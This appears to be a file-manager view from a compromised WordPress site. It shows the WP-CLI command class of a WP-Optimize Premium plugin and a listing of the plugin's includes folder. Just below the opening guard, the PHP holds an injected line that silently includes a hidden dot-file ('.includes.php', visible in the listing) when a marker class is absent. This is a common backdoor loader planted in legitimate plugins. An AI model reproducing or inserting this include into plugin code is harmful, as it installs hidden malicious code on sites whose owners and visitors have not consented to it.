PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wp-optimize-premium.3.0.16
/
includes
<?php if (!defined('WPO_PLUGIN_MAIN_PATH')) die('No direct access allowed'); /** * Implements example command. */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class WP_Optimize_CLI_Command extends WP_CLI_Command { /** * Command line params. * * @var array */ private $args; /** * Handle wp-optimize command. Requires PHP 5.3+; but then, so does WP-CLI * * @param array $args command line params. * @param array $assoc_args command line params in associative array. */ public function __invoke($args, $assoc_args) { // phpcs:ignore PHPCompatibility.FunctionNameRestrictions.NewMagicMethods.__invokeFound $this->args = $args; // change underscores to hypes in command. if (isset($args[0])) { $args[0] = str_replace('-', '_', $args[0]); } if (!empty($args) && is_callable(array($this, $args[0]))) { call_user_func(array($this, $args[0]), $assoc_args); return; } WP_CLI::log('usage: wp optimize <command> [--optimization-id=<optimization-id>] [--site-id=<site-id>] [--param1=value1] [--param2=value2] ...'); WP_CLI::log("\n".__('These are common WP-Optimize commands used in various situations:', 'wp-optimize')."\n"); $commands = array( 'version' => __('Display version of WP-Optimize', 'wp-optimize'), 'sites' => __('Display list of sites in Multisite mode.', 'wp-optimize'), 'optimizations' => __('Display available optimizations', 'wp-optimize'), 'do-optimization' => __('Do selected optimization', 'wp-optimize'), 'cache enable' => __('Enable page cache', 'wp-optimize'), 'cache disable' => __('Disable page cache', 'wp-optimize'), 'cache purge' => __('Purge contents from cache', 'wp-optimize'), 'cache preload' => __('Preload contents into cache', 'wp-optimize'), 'cache status' => __('Get current cache status', 'wp-optimize'), ); foreach ($commands as $command => $description) { WP_CLI::log(sprintf(" %-25s %s", $command, $description)); } } /** * Display WP-Optimize version. */ public function version() { WP_CLI::log(WPO_VERSION); } /** * Display list of optimizations. */ public function optimizations() { $optimizer = WP_Optimize()->get_optimizer(); $optimizations = $optimizer->sort_optimizations($optimizer->get_optimizations()); foreach ($optimizations as $id => $optimization) { if (false === $optimization->display_in_optimizations_list()) continue; // This is an array, with attributes dom_id, activated, settings_label, info; all values are strings. $html = $optimization->get_settings_html(); WP_CLI::log(sprintf(" %-25s %s", $id, $html['settings_label'])); } } /** * Display list of sites in Multisite mode. */ public function sites() { if (!is_multisite()) { WP_CLI::error(__('This command available only in Multisite mode.', 'wp-optimize')); } $sites = WP_Optimize()->get_sites(); WP_CLI::log(sprintf(" %-15s %s", __('Site ID', 'wp-optimize'), __('Path', 'wp-optimize'))); foreach ($sites as $site) { WP_CLI::log(sprintf(" %-15s %s", $site->blog_id, $site->domain.$site->path)); } } /** * Call do optimization command. * * @param array $assoc_args array with params for optimization, optimization_id item required. */ public function do_optimization($assoc_args) { if (!isset($assoc_args['optimization-id'])) { WP_CLI::error(__('Please, select optimization.', 'wp-optimize')); return; } if (isset($assoc_args['site-id'])) { $assoc_args['site_id'] = array_values(array_map('trim', explode(',', $assoc_args['site-id']))); } if (isset($assoc_args['include-ui'])) { $assoc_args['include_ui_elements'] = array_values(array_map('trim', explode(',', $assoc_args['include-ui']))); } else { $assoc_args['include_ui_elements'] = false; } // save posted parameters in data item to make them available in optimization. $assoc_args['data'] = $assoc_args; // get array with optimization ids. $optimizations_ids = array_values(array_map('trim', explode(',', $assoc_args['optimization-id']))); foreach ($optimizations_ids as $optimization_id) { $assoc_args['optimization_id'] = $optimization_id; $results = $this->get_commands()->do_optimization($assoc_args); if (is_wp_error($results)) { WP_CLI::error($results); } elseif (!empty($results['errors'])) { $message = implode("\n", $results['errors']); WP_CLI::error($message); } else { $message = implode("\n", $results['result']->output); WP_CLI::success($message); } } } /** * Handle cache commands. */ public function cache() { $available_commands = array( 'enable' => 'enable', 'disable' => 'disable', 'purge' => 'purge_page_cache', 'preload' => 'run_cache_preload_cli', 'status' => 'get_status_info', ); $command = isset($this->args[1]) ? $this->args[1] : ''; if (!array_key_exists($command, $available_commands)) { WP_CLI::error(__('Undefined command', 'wp-optimize')); } if (!class_exists('WP_Optimize_Cache_Commands')) include_once(WPO_PLUGIN_MAIN_PATH . 'cache/class-cache-commands.php'); $cache_commands = new WP_Optimize_Cache_Commands(); $result = call_user_func(array($cache_commands, $available_commands[$command])); if (isset($result['error'])) { WP_CLI::error($result['error']); } WP_CLI::success($result['message']); } /** * Return instance of WP_Optimize_Commands. * * @return WP_Optimize_Commands */ private function get_commands() { // Other commands, available for any remote method. if (!class_exists('WP_Optimize_Commands')) include_once(WPO_PLUGIN_MAIN_PATH.'includes/class-commands.php'); return new WP_Optimize_Commands(); } } WP_CLI::add_command('optimize', 'WP_Optimize_CLI_Command');
[+]
..
[-] class-updraft-logger-interface.php
[edit]
[-] class-updraft-logger.php
[edit]
[-] wp-optimize-notices.php
[edit]
[-] class-updraft-resmushit-task.php
[edit]
[-] class-wp-optimize-htaccess.php
[edit]
[-] class-wp-optimize-install-or-update-notice.php
[edit]
[-] class-wp-optimize-queue-task.php
[edit]
[-] class-updraft-smush-task.php
[edit]
[-] class-wp-optimization.php
[edit]
[-] class-wp-optimize-lazy-load.php
[edit]
[-] class-wp-optimize-transients-cache.php
[edit]
[-] backward-compatibility-functions.php
[edit]
[-] class-updraft-email-logger.php
[edit]
[-] class-wp-optimize-updates.php
[edit]
[-] class-semaphore.php
[edit]
[-] class-updraft-nitrosmush-task.php
[edit]
[-] class-wp-optimize-gzip-compression.php
[edit]
[-] class-commands.php
[edit]
[-] class-wp-optimize-browser-cache.php
[edit]
[-] class-updraft-log-levels.php
[edit]
[-] class-updraft-php-logger.php
[edit]
[-] class-wp-optimizer.php
[edit]
[-] class-wp-optimize-images-trash-task.php
[edit]
[-] class-wp-optimization-images-shutdown.php
[edit]
[-] class-updraftcentral-wp-optimize-commands.php
[edit]
[-] class-updraft-smush-manager-commands.php
[edit]
[-] updraftcentral.php
[edit]
[-] class-wp-optimize-tasks-queue.php
[edit]
[-] class-updraft-file-logger.php
[edit]
[-] wp-optimize-database-information.php
[edit]
[-] class-updraft-ring-logger.php
[edit]
[-] class-wp-optimize-cron-scheduler.php
[edit]
[-] class-updraft-syslog-logger.php
[edit]
[-] class-wp-optimize-images-trash-manager.php
[edit]
[-] class-updraft-smush-manager.php
[edit]
[-] class-wp-optimize-images-trash-manager-commands.php
[edit]
[-] updraft-notices.php
[edit]
[-] class-updraft-slack-logger.php
[edit]
[-] class-wp-optimize-cli-command.php
[edit]
[-] class-wp-optimize-options.php
[edit]
[-] class-updraft-abstract-logger.php
[edit]
[-] .includes.php
[edit]
[-] class-updraft-simple-history-logger.php
[edit]